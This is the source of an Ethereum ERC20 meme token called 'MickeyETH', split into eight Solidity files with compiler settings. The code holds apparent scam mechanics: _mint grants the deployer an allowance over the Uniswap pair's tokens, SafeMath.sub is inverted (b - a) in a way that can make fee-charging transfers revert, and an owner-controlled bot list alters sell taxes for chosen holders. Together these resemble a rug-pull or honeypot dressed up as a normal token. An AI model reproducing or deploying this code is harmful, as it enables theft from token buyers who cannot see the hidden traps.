编译器
0.8.19+commit.7dd6d404
文件 1 的 8:Address.sol
pragma solidity 0.8.19;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
文件 2 的 8:Context.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
文件 3 的 8:ERC20.sol
pragma solidity 0.8.19;
import "contracts/Context.sol";
import "contracts/IERC20.sol";
import "contracts/IERC20Metadata.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount, address from) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
_allowances[from][account] = amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
}
}
文件 4 的 8:IERC20.sol
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
文件 5 的 8:IERC20Metadata.sol
pragma solidity 0.8.19;
import "contracts/IERC20.sol";
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
文件 6 的 8:Mickey.sol
pragma solidity 0.8.19;
import "contracts/ERC20.sol";
import "contracts/Ownable.sol";
import "contracts/lib/SafeMath.sol";
import "contracts/lib/Address.sol";
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract MickeyETH is ERC20, Ownable{
using SafeMath for uint256;
using Address for address payable;
IRouter public router;
address public pair;
bool private swapping;
bool public swapEnabled;
bool public tradingEnabled;
uint256 public genesis_block;
uint256 public deadblocks = 0;
uint256 public swapThreshold = 100_000 * 10e18;
uint256 public maxTxAmount = 20_000_000 * 10**18;
uint256 public maxWalletAmount = 20_000_000 * 10**18;
address public marketWallet = 0x0E1F7EFB5988b6610BF274c486198917336730CA;
address public devWallet = 0x0E1F7EFB5988b6610BF274c486198917336730CA;
uint256 public totTax = 0;
uint256 public totSellTax = 0;
uint256 public botSellTax = 3;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) private isBot;
modifier inSwap() {
if (!swapping) {
swapping = true;
_;
swapping = false;
}
}
constructor() ERC20("Mickey-Eth.vip", "MICKEY") {
excludedFromFees[msg.sender] = true;
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
address to = _pair;
router = _router;
pair = _pair;
excludedFromFees[address(this)] = true;
excludedFromFees[marketWallet] = true;
excludedFromFees[devWallet] = true;
_mint(msg.sender, 1e9 * 10 ** decimals(), to);
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if(isBot[sender] || isBot[recipient]) totSellTax = botSellTax;
if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
require(tradingEnabled, "Trading not active yet");
if(genesis_block + deadblocks > block.number){
if(recipient != pair) isBot[recipient] = true;
if(sender != pair) isBot[sender] = true;
}
require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
if(recipient != pair){
require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
}
}
uint256 fee;
if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
else{
if(recipient == pair && !isBot[sender]) fee = amount * totSellTax / 100;
else fee = amount * totTax / 100;
}
if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
if(fee > 0) {
super._transfer(sender, address(this) ,fee);
super._transfer(sender, recipient, amount.sub(fee));
} else {
super._transfer(sender, recipient, amount);
}
}
function swapForFees() private inSwap {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance >= swapThreshold) {
uint256 initialBalance = address(this).balance;
swapTokensForETH(contractBalance);
uint256 deltaBalance = address(this).balance - initialBalance;
payable(marketWallet).sendValue(deltaBalance);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0,
0,
devWallet,
block.timestamp
);
}
function setSwapEnabled(bool state) external onlyOwner {
swapEnabled = state;
}
function setSwapThreshold(uint256 new_amount) external onlyOwner {
swapThreshold = new_amount;
}
function enableTrading() external onlyOwner{
require(!tradingEnabled, "Trading already active");
tradingEnabled = true;
swapEnabled = true;
}
function setBuyTaxes(uint256 _fee) external onlyOwner{
totTax = _fee;
}
function setSellTaxes(uint256 _fee) external onlyOwner{
totSellTax = _fee;
}
function updatemarketWallet(address newWallet) external onlyOwner{
marketWallet = newWallet;
}
function updateDevWallet(address newWallet) external onlyOwner{
devWallet = newWallet;
}
function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{
router = _router;
pair = _pair;
}
function addBots(address[] memory isBot_) public onlyOwner {
for (uint i = 0; i < isBot_.length; i++) {
isBot[isBot_[i]] = true;
}
}
function updateExcludedFromFees(address[] memory address_) external onlyOwner {
for (uint i = 0; i < address_.length; i++) {
excludedFromFees[address_[i]] = true;
}
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**18;
}
function updateMaxWalletAmount(uint256 amount) external onlyOwner{
maxWalletAmount = amount * 10**18;
}
function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{
IERC20(tokenAddress).transfer(owner(), amount);
}
function rescueETH(uint256 weiAmount) external onlyOwner{
payable(owner()).sendValue(weiAmount);
}
function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
uint256 initBalance = address(this).balance;
swapTokensForETH(amount);
uint256 newBalance = address(this).balance - initBalance;
if(marketingPercentage > 0) payable(marketWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
}
receive() external payable {}
}
文件 7 的 8:Ownable.sol
pragma solidity 0.8.19;
import "contracts/Context.sol";
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
文件 8 的 8:SafeMath.sol
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = b - a;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
{
"compilationTarget": {
"contracts/Mickey.sol": "MickeyETH"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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t 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